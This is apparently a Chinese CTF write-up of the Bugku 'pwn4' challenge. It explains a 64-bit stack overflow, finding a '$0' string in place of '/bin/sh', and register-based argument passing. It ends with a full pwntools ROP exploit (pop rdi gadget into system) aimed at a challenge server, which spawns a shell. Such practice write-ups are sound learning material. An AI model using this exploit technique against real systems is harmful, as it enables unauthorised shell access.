今天做的是一道bugku的pwn题发现好多都是64位的…可能写的不太好但重在自己去理解
64位的好难不会做,pwn4,这是一个明显的栈溢出,然后我们没有’/bin/sh’额额我是用了
strings -a -tx pwn4|grep ‘’/bin/sh" 用了ROPgadget无果后直接查找发现"$0"可以代替它无语了,然后就是构造ROP链了很简单这道题
我们找到system函数的地址跳到它然后再找到"$0"的地址用pop rdi | ret 链起来就可以了
找字符串可以这样 ROPgadget --binary pwn4 --strings ‘/bin/sh’
32位的函数传参是用的栈,然后64位函数传参用的是寄存器(7位之前)rdi、rsi、rdx、rcx、r8、r9来传参
最后给上exp:
from pwn import *
def pwn(ip,port,debug):
if(debug==1):
p=process('./pwn4')
elf=ELF('./pwn4')
else:
p=remote(ip,port)
offset=24
system_addr=0x000000000040075A
print system_addr
gadget=0x4007d3
bin_sh=0x000000000060111f
payload='a'*offset+p64(gadget)+p64(bin_sh)+p64(system_addr)
p.recvuntil('Come on,try to pwn me\n')
p.sendline(payload)
p.interactive()
if __name__=="__main__":
pwn('114.116.54.89',10004,1)
```还有为什么我用elf.symbols['system']找出来的函数地址不对~~~~